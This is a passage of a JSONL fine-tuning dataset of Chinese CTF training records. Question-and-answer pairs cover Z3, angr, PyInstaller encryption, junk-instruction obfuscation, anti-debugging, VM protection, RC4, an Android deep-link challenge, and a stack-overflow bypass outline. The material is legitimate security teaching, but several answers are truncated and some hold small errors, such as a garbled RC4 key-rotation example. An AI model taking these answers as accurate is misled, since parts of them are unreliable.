"train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d7d5a86d6b8a87ac8080", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“约束求解”？请用《Z3》中的内容回答。", "role": "user"}, {"content": "1. 当我们向求解器中添加约束条件之后，我们可以使用`check()`方法检查约束是否是可满足的（satisfiable，即z3是否能够帮我们找到一组解）：\n2. `z3.sat`：约束可以被满足\n3. `z3.unsat`：约束无法被满足\n4. 若约束可以被满足，则我们可以通过`model()`方法获取到一组解：\n5. 对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过`solve()`方法进行求解：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2e22b9a82c05b398", "original_line": 945, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "约束求解", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2e22b9a82c05b398", "source_split": "train", "split": "train", "split_group_key": "ab7dda97272b34ca9f6f90a3", "tags": ["reverse"], "title": "Z3", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d832a7fd36de366d6133", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“bjdctf2020babystack2”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 在text段我们发现了backdoor函数。\n2. 但是我们的第一个输入决定着接下来我们可以输入的数据长度。\n3. 第一个输入如果大于有符号数的10，程序就会退出。\n4. 但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。\n5. 如果我们第一个输入输入的是-1，就可以绕过限制，并且输入无限制的数据。\n6. 所以我们第一此输入发送-1，第二次发送payload", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1088c858381e6f15", "original_line": 900, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "bjdctf2020babystack2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1088c858381e6f15", "source_split": "train", "split": "train", "split_group_key": "c33b2223505f2d99b3481380", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d88c7f05352999e1a130", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“使用key参数打包”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. 在使用 pyinstaller 的时候，可以使用 --key 参数对 pyc 进行加密然后再打包成 exe/elf。\n2. 对于 pyinstaller =4.0 来说，使用该参数需要 tinyaes 库\n3. 修改 test.py\n4. `pyinstaller -F --key=this_is_a_secret test.py`\n5. 对于这种被加密的我们需要进行解密。\n6. 首先要找到 AES 的 key，一般反编译 pyimod00_crypto_key.pyc 就是 key 了。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::180a42c399a48ccb", "original_line": 724, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "使用key参数打包", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "180a42c399a48ccb", "source_split": "train", "split": "train", "split_group_key": "12e62cfc16d26bfd63308cfd", "tags": ["reverse", "crypto"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d8a89b9da150d428de29", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《2025强网杯 Qclac》中“processDeeplinkExpression”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《2025强网杯 Qclac》的“processDeeplinkExpression”。\n语言/类型：java\n关联知识点：\n- 每次处理 deep link 都会重整当前解释器状态。\n- 如果`expression`包含子串 `\"intent:\"`，则：\n- 使用 `Intent.parseUri(expression, 1)` 将字符串解析为 `Intent` 对象（反序列化/解析 URI 表示的 Intent）。\n- 将得到的 `Intent` 作为 `fallback` 存入当前 Activity 的启动 `Intent`（`getIntent().putExtra(\"fallback\", errorFallbackIntent)`）。\n- 计算 `expression` 的签名（用 `calculateSignature`），并把签名存入 `calc_signature` extra。\n代码片段：\n```java\n@Override\nprotected void onNewIntent(Intent intent) throws URISyntaxException {\n    super.onNewIntent(intent);\n    handleIntent(intent);\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7614bc1028cc98b8", "original_line": 923, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7614bc1028cc98b8", "source_split": "train", "split": "train", "split_group_key": "86c5ae65b578ffdcba3554aa", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d8d4fcb8d736d6e6a131", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 实现\n关键词：- **gcc 编译器实现**、include、asm、printf、hello、world、msvc、emit、gcc、volatile\n蒸馏要点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n可用于训练的标准回答：\n#### 实现\n\n- **msvc 编译器实现**\n\n```c\n#include\nint main(){\n\t__asm{\n\t_emit 0xeb,0xff,0xc0,0x48\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n- **gcc 编译器实现**\n\n```c\n#include\n\nint main() {\n    __asm__ __volatile__ (\n      \".byte 0xeb,0xff,0xc0,0x48\\n\\t\"\n    );\n    printf(\"hello world!\\n\");\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::839a601ae2393373", "original_line": 791, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "839a601ae2393373", "source_split": "train", "split": "train", "split_group_key": "264fb58c08d25b171e2e58b6", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d9118205c146844c380f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“符号化输入”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“符号化输入”。\n语言/类型：python\n关联知识点：\n- 符号执行首先要将程序的输入替换为符号变量，而是表示一个不确定的集合，即它们可以取多个可能的值。，符号变量不仅可以表示未知数，还可以用于表达任何一个可能的值。\n- 比如在下例代码中，用户输入了两个整型`x`和`y`。`x`和`y`可能是任何值，即都是未知数。\n- 我们对这个程序进行符号执行，首先将`x`和`y`替换为符号变量。\n- 由于`x`和`y`都是整型，所以我们要定义两个整型的符号变量\n代码片段：\n```python\nx=input(\"请输入x: \")\ny=input(\"请输入y: \")\n\nif x > y:\n\tprint(\"success\")\nelse:\n\tprint(\"try again\")\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c0b70aa62c88ef3a", "original_line": 875, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "符号化输入", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c0b70aa62c88ef3a", "source_split": "train", "split": "train", "split_group_key": "c04fcb244c240ac3d89ce90d", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d9ea713b9dbc767997f7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“ptrace 系统调用”？请用《反调试》中的内容回答。", "role": "user"}, {"content": "1. 一个进程只能被一个进程`ptrace`，如果你自己调用`ptarace`，这样其它程序就无法通过`ptrace`调试（或者向你的程序进程注入代码）.\n2. 如果进程已经被调试器跟踪了再次`ptrace`就不会成功。\n3. 处理`ptrace`要么就是让它不执行，要么就是直接将其`nop`掉。\n4. 使用`ptrace`可以检测是否有其他进程在调试当前进程。具体方法是尝试用`ptrace`附加到自身，如果成功则说明没有被调试。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::96da5d5414911a5a", "original_line": 107, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "ptrace 系统调用", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "96da5d5414911a5a", "source_split": "validation", "split": "train", "split_group_key": "6dfa7e0e5df8dbb2b1e35007", "tags": ["reverse"], "title": "反调试", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-da7e720eba5fa6d73cbd", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“VM虚拟机的结构”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / VM虚拟机的结构\n关键词：opcode、eip、vm_init、dispatcher、通过以下代码，我们便可将上述示例虚拟化：、eax、code、case、include、printf\n蒸馏要点：\n- 虚拟机的主程序其实就是一个循环，这个循环不断的去读取指令（伪机器码opcode），然后执行指令 opcode 所对应的一些函数，这样下来就可以与真实的程序执行相差无几。\n- 通常，一个虚拟机会包含以下几个主要组件：\n- `vm_init`：对虚拟机的环境进行初始化；\n- `dispatcher`：指令分发器，用于解释`opcode`，取指并分发，也就是读取opcode并根据opcode选择对应的 “伪指令” 进行执行，执行完一条之后会重新回到这里，读取接下来的opcode再次取指并分发。\n- 程序中还会存在opcode以及模拟的栈，寄存器等。\n- 不同的虚拟机设计思路不同（一般有两种类型：一种是类似常规x86架构的，另一种是类似python的基于栈的虚拟机）\n- 通过以下代码，我们便可将上述示例虚拟化：\n可用于训练的标准回答：\n## VM虚拟机的结构\n\n虚拟机的主程序其实就是一个循环，这个循环不断的去读取指令（伪机器码opcode），然后执行指令 opcode 所对应的一些函数，这样下来就可以与真实的程序执行相差无几。\n\n通常，一个虚拟机会包含以下几个主要组件：\n\n- `vm_init`：对虚拟机的环境进行初始化；\n- `dispatcher`：指令分发器，用于解释`opcode`，取指并分发，也就是读取opcode并根据opcode选择对应的 “伪指令” 进行执行，执行完一条之后会重新回到这里，读取接下来的opcode再次取指并分发。\n- 虚拟机运行环境\n\n程序中还会存在opcode以及模拟的栈，寄存器等。\n\n不同的虚拟机设计思路不同（一般有两种类型：一种是类似常规x86架构的，另一种是类似python的基于栈的虚拟机）\n\n- 示例\n\n```c\n#include\n\nint main(){\n\tprintf(\"Hello,World\\n\");\n\treturn 0;\n}\n```\n\n通过以下代码，我们便可将上述示例虚拟化：\n\n```c\n#include\n\nint main() {\n    int eip = 0;\n    int eax = 0;\n\n    unsigned char code[] = {\n        0x01, 0x48, 0x02, // H\n        0x01, 0x65, 0x02, // e\n        0x01, 0x6C, 0x02, // l\n        0x01, 0x6C, 0x02, // l\n        0x01, 0x6F, 0x02, // o\n        0x01, 0x21, 0x02, // !\n        0x01, 0x2C, 0x02, // ,\n        0x01, 0x77, 0x02, // W\n        0x01, 0x6F, 0x02, // o\n        0x01, 0x72, 0x02, // r\n        0x01, 0x6c, 0x02, // l\n        0x01...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6990269bdacb7a20", "original_line": 920, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "VM虚拟机的结构", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6990269bdacb7a20", "source_split": "train", "split": "train", "split_group_key": "19aa9bf1b81e90c62e2430af", "tags": ["pwn", "reverse"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dbe180ee552bc62c80a2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“onEqual”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / onEqual\n关键词：fallbackIntent、java、intent、bridgeValues、getParcelableExtra、signature、FLAG_ACTIVITY_NEW_TASK、Intent、bridgeIntent、BridgeActivity\n蒸馏要点：\n- 这部分代码默认 jadx 不会反编译出来，但是选择反编译设置中的显示不一致的代码后就可以成功显示。\n- 这个函数表面是计算器的等号逻辑，但它实际上隐藏了非常异常的逻辑：intent代理、bridge activity 跳转、signature 校验字段。\n- MainActivity 可以接收一个名叫 fallback 的 intent。通过 EXTRA 携带，`getParcelableExtra`用于从 intent 中取出 Parcelable 类型的对象。\n- 随后判断 fallback 是否存在，如果存在则：\n- 打印攻击者控制的数据：\n- 设置 FLAG_ACTIVITY_NEW_TASK\n- 构造 bridge_values 注入到 fallbackIntent\n可用于训练的标准回答：\n##### onEqual\n\n这部分代码默认 jadx 不会反编译出来，但是选择反编译设置中的显示不一致的代码后就可以成功显示。\n\n这个函数表面是计算器的等号逻辑，但它实际上隐藏了非常异常的逻辑：intent代理、bridge activity 跳转、signature 校验字段。\n\nMainActivity 可以接收一个名叫 fallback 的 intent。通过 EXTRA 携带，`getParcelableExtra`用于从 intent 中取出 Parcelable 类型的对象。\n\n随后判断 fallback 是否存在，如果存在则：\n\n+ 打印攻击者控制的数据：\n\n```java\nLog.d(\"QiangCalc\", \"Fallback intent data: \" + fallbackIntent.getData());\nLog.d(\"QiangCalc\", \"Fallback intent extras: \" + fallbackIntent.getExtras());\n```\n\n+ 设置 FLAG_ACTIVITY_NEW_TASK\n\n```java\nfallbackIntent.addFlags(268435456);\n//268435456 = Intent.FLAG_ACTIVITY_NEW_TASK\n```\n\n+ 构造 bridge_values 注入到 fallbackIntent\n\n```java\nContentValues bridgeValues = new ContentValues();\nbridgeValues.put(\"action\", \"process\");\nbridgeValues.put(TypedValues.AttributesType.S_TARGET, \"history\");\nbridgeValues.put(\"timestamp\", System.currentTimeMillis());\nfallbackIntent.putExtra(\"bridge_values\", bridgeValues);\n```\n\n+...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2a4ad43507980f4e", "original_line": 758, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "onEqual", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2a4ad43507980f4e", "source_split": "train", "split": "train", "split_group_key": "8ca191063741bd0d710d754c", "tags": ["crypto", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dbeaced6030da74d4b8c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / processDeeplinkExpression（第 3 段）\n关键词：expression、intent、Intent、Deep、Link、VIEW、qiangcalc、calculate、processDeeplinkExpression、String\n蒸馏要点：\n- 处理传入的 Intent。\n- 如果它包含 Deep Link 数据（如 qiangcalc://calculate?expression=1+2），\n- 则提取出 expression 参数，并传递给 processDeeplinkExpression()。\n- private void handleIntent(Intent intent) throws URISyntaxException {\n- String expression;\n- if (intent != null) {\n- String action = intent.getAction(); // 获取 Intent 动作\n可用于训练的标准回答：\n/**\n     * 处理传入的 Intent。\n     * 如果它包含 Deep Link 数据（如 qiangcalc://calculate?expression=1+2），\n     * 则提取出 expression 参数，并传递给 processDeeplinkExpression()。\n     */\n    private void handleIntent(Intent intent) throws URISyntaxException {\n        String expression;\n        if (intent != null) {\n            String action = intent.getAction(); // 获取 Intent 动作\n            Uri data = intent.getData();        // 获取 URI 数据部分\n            // 如果是 VIEW 动作（即 Deep Link 触发）\n            if (data != null && \"android.intent.action.VIEW\".equals(action)\n                    && (expression = data.getQueryParameter(\"expression\")) != null\n                    && !expression.isEmpty()) {\n                // 传递给 Deep Link 处理函数\n                processDeeplinkExpression(expression);\n            }\n        }\n    }\n\n/**\n     * 核心函数：处理从 Deep Link 获取的表达式。\n     * 例如：\n     * qiangcalc://calculate?expression=2+3\n     * 或 qiangca...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2effa073c98d4f03", "original_line": 812, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2effa073c98d4f03", "source_split": "train", "split": "train", "split_group_key": "5b512c1dd928982e8611a447", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dc1c454d232d5c0089bb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“符号化判断”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / 符号化判断\n关键词：state、regs、BVS、state 内存读取出来的数据也可以判断是否符号化、symbolic、address、size_in_bytes、data、rdi、rdx\n蒸馏要点：\n- 判断一个 angr 中的表达式是否含有符号在反混淆程序分析、漏挖挖掘等场景中非常有意义。\n- 基于符号执行运算特性，能够实现一个高精度的污点分析框架。\n- 例如在某个程序点将 R0 寄存器设置赋值一个符号值，等程序遇到间接跳转时，判断 pc 寄存器是否是一个符号化的表达式，如果是则说明 R0 寄存器能够控制 PC 寄存器。\n- 另外一个例子，将控制流平坦化混淆中的状态变量符号化，对函数进行符号执行，就能找出所有与状态变量相关的指令，这样能精准区分混淆产生的垃圾指令与真实代码指令。具体细节将在后续讨论。\n- state 内存读取出来的数据也可以判断是否符号化\n可用于训练的标准回答：\n### 符号化判断\n\n判断一个 angr 中的表达式是否含有符号在反混淆程序分析、漏挖挖掘等场景中非常有意义。\n\n基于符号执行运算特性，能够实现一个高精度的污点分析框架。\n\n例如在某个程序点将 R0 寄存器设置赋值一个符号值，等程序遇到间接跳转时，判断 pc 寄存器是否是一个符号化的表达式，如果是则说明 R0 寄存器能够控制 PC 寄存器。\n\n另外一个例子，将控制流平坦化混淆中的状态变量符号化，对函数进行符号执行，就能找出所有与状态变量相关的指令，这样能精准区分混淆产生的垃圾指令与真实代码指令。具体细节将在后续讨论。\n\n```python\nstate.regs.rdi = 123\nprint(state.regs.rdi.symbolic) # 输出 False\n\nstate.regs.rdx = state.solver.BVS('symbolic_rdx', 64) + 1\nprint(state.regs.rdx.symbolic) # 输出 True\n```\n\nstate 内存读取出来的数据也可以判断是否符号化\n\n```python\naddress = 0x801234\nsize_in_bytes = 16\nstate.memory.store(address, state.solver.BVS('mem', 8 * size_in_bytes))\ndata = state.memory.load(address, size_in_bytes)\nprint(data) #\nprint(data.symbolic) # True\n```\n\n‍", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3a55fb9ca6ed7fc5", "original_line": 1042, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "符号化判断", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3a55fb9ca6ed7fc5", "source_split": "train", "split": "train", "split_group_key": "f63d2dcdc17cd0e93e3caaa3", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dc483ec14b8fc608c5aa", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“检测进程运行状态”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“检测进程运行状态”。\n语言/类型：c\n关联知识点：\n- Linux 在`/proc/self/status`中保存了进程的状态信息。通过检查`TracerPid`字段，可以判断当前进程是否被调试器控制。如果`TracerPid`不为0，则说明该进程正在被调试。\n代码片段：\n```c\n#include\n#include\n\nint is_debugged() {\n\t//打开一个文件，该文件包含当前进程的状态信息\n    FILE *status = fopen(\"/proc/self/status\", \"r\");\n    //如果文件打开失败，则未检测到调试器\n    if (status == NULL) return 0;\n\n\t//读取文件内容\n    char line[256];\n    while (fgets(line, sizeof(line), status)) {\n\t    //查找TracerPid行\n        if (strncmp(line, \"TracerPid:\", 10) == 0) {\n            fclose(status);\n            //检查TracerPid的值\n            //获取TracerPid后面的数字部分，并检查它是否大于0.\n            //如果大于0则表示有进程在跟踪当前进程\n            return atoi(line + 10) > 0;\n        }\n    }\n    fclose(status);\n    return 0;\n}\n\nint main() {\n    if (is_debugged()) {\n        printf(\"Debugger\\n\");\n    } else {\n        printf(\"No debugger\\n\");\n    }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0b631b40f16e8843", "original_line": 764, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "检测进程运行状态", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0b631b40f16e8843", "source_split": "train", "split": "train", "split_group_key": "377d4ccc788e5b252f02ce52", "tags": ["reverse"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dc58561c7e398eae7931", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“加密流程”？请用《RC4 算法》中的内容回答。", "role": "user"}, {"content": "1. 先初始化状态向量`S`（256 个字节，用来作为密钥生成的种子）按照升序，给每个字节赋值。\n2. 初始密钥（由用户输入），长度任意，如果输入长度小于 256 个字节，则进行轮转，直到填满。例如填入密钥的是1 2 3 4 5 ，那么填入的是1，2，3，4，5，1，3，4，5，1，2，3，4，5 由上述轮转过程得到 256 个字节的向量`T`（用来作为密钥流生成的种子）\n3. 最后是根据向量`S`和`T`生成`T`生成密钥流与明文进行加密", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::645ba07f28f322c9", "original_line": 835, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "加密流程", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "645ba07f28f322c9", "source_split": "train", "split": "train", "split_group_key": "2cfef52f681385b6ac3a92f1", "tags": ["crypto", "ctf-method"], "title": "RC4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
